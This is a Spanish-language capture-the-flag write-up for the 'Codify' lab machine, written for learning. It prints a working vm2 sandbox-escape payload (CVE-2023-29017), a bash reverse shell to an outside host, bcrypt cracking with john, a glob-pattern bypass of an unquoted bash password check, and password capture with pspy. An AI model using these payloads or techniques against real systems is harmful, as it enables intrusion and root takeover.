Codify Writeup

Enumeración

Escaneo de puertos con la herramienta nmap.

Host: 10.10.11.239 ()	Status: Up
Host: 10.10.11.239 ()	Ports: 22/open/tcp//ssh//OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.52/, 3000/open/tcp//http//Node.js Express framework/	Ignored State: closed (65532)

El resultado del escaneo solo arroja algo que llama la atención y es el servicio que corre en el puerto 3000.

3000/open/tcp//http//Node.js Express framework/

Al acceder al portal web en el puerto 80, se observa la siguiente interfaz.

editorial


La página permite la ejecución de código en Node.js dentro de un entorno sandbox, lo que sugiere una posible vulnerabilidad a RCE (Remote Code Execution).

En la sección Limitations, se detallan los módulos restringidos por razones de seguridad, los cuales no pueden ser cargados en el sandbox.

editorial


Dado que la funcionalidad de la página sugiere el uso de una biblioteca de sandboxing, las principales candidatas son vm2 y isolated-vm. Para determinar cuál se emplea en el backend, se puede forzar un error manualmente con el siguiente código.

try {
    throw new Error("Enumerate library");
} catch (e) {
    console.log(e.stack);
}

El resultado obtenido indica que se está empleando vm2.

editorial


Una vez identificada la biblioteca, intenté obtener su versión exacta sin éxito. No obstante, encontré el siguiente CVE relevante:

  • CVE-2023-29017.

En base al siguiente recurso el cual indica que existe una vulnerabilidad en la sanitización de excepciones de vm2 para versiones hasta la 3.9.16.

Al probar el código malicioso descrito en dicho recurso, se confirmó la posibilidad de escapar del sandbox y ejecutar comandos en la máquina host.

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('id');
}
editorial

Explotación

Modificamos el código anterior para ejecutar un one-liner de Bash, permitiendo estáblecer una reverse shell

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/10.10.14.34/4444 0>&1"');
}

Al ejecutar el código, obtenemos una shell interactiva como el usuario svg.

editorial

Escalada

Identifico que en el sistema existe un usuario llamado jhosua al realizar un cat al fichero passwd.

tras varios intentos de enumerar contenido perteneciente a este usuario con el comando find no encuentro nada que me sea útil.

Al dar un vistazo que procesos del sistema se están ejecutando encuentro que el usuario root está desplegando un contenedor de docker

editorial


Pero lo que llama mi atención de verdad es que mi usuario actual está ejecutando un fichero js con node en la siguiente ruta /var/www/editor/index.js donde muy posiblemente se encuentre montado el aplicativo web.

dentro del directorio contact se encuentra un fichero llamado tickets.db el cual contiene el hash de la contraseña del usuario jhosua.

editorial


Usando este servicio web encuentro que el hash es de tipo bcrypt. Para romper el hash empleando la herramienta john, realizando el siguiente comando.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
editorial


Ya con una shell como el usuario jhosua y contando con la contraseña de este lo primero que realice fue comprobar si puedo ejecutar sudo -l y para mi soprese encontré que puedo ejecutar con sudo el siguiente script de bash.

editorial


El contenido de dicho script es el siguiente.

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

A simple vista es un simple script que realiza un backup de una base de datos, pero lo que realmente representa una vulnerabilidad en este, es como la contraseña está siendo usada en texto plano desde el comando encapsulado en la variable $databases.

Sí se logra pasar el filtro de validación de la contraseña para que el programa siga su flujo normal, al momento de ejecutar la instrucción ya mencionada quedara un registro del proceso en el sistema y podremos observar la contraseña en texto plano, dicha contraseña que se supone es también la del usuario root.

Bypass validación de contraseña

Primero debemos de tener en cuenta como se está realizando la validación de la contraseña ya que en bash no es lo mismo comparar un string de esta manera

[[ $DB_PASS == $USER_PASS ]]

A hacerlo de está otra manera la cual es la correcta

[[ "$DB_PASS" == "$USER_PASS" ]]

En la forma que se está realizando la validación en el script, no se esta comparando un String literalmente y el uso de [[ ]] en bash permite el uso de patrones gobbling, estos patrones funcionan de la siguiente manera.

Por ejemplo, supongamos que la contraseña es la palabra toor, y que ingresamos como valor de contraseña t* , donde el asterisco indica que coincida con cualquier cadena que comience con la letra t seguida de cualquier cantidad de caracteres, caso que sera evaluado como true ya que la contraseña se compone de dicha manera, x letra con una longitud de n caracteres.

También contamos con el carácter ? pero con este patrón gobbling tendremos que acertar con la longitud exacta de la cadena, algo no muy eficiente para este caso y un poco mas laborioso, ejemplo

t? == toor #False

t??? == toor #True

Para este caso la contraseña empieza con el carácter k* así que primero desencadeno la ejecución total del programa.

Realizamos el siguiente comando para poder capturar el log.

for i in $(seq 1 100); do ps -ef | grep mysql; sleep .5; done

Sin embargo, encontramos que es ofuscada por la herramienta ps.

editorial


Para obtener la contraseña sin ofuscación, descargamos la herramienta pspy desde nuestra máquina atacante: .

editorial


Ejecutamos pspy y luego corremos nuevamente el script de backup vulnerable. Como resultado, obtenemos la contraseña en texto plano y evitamos la ofuscación.

editorial


Con la contraseña podremos concluir con está maquina ya que cuento con el acceso al usuario root.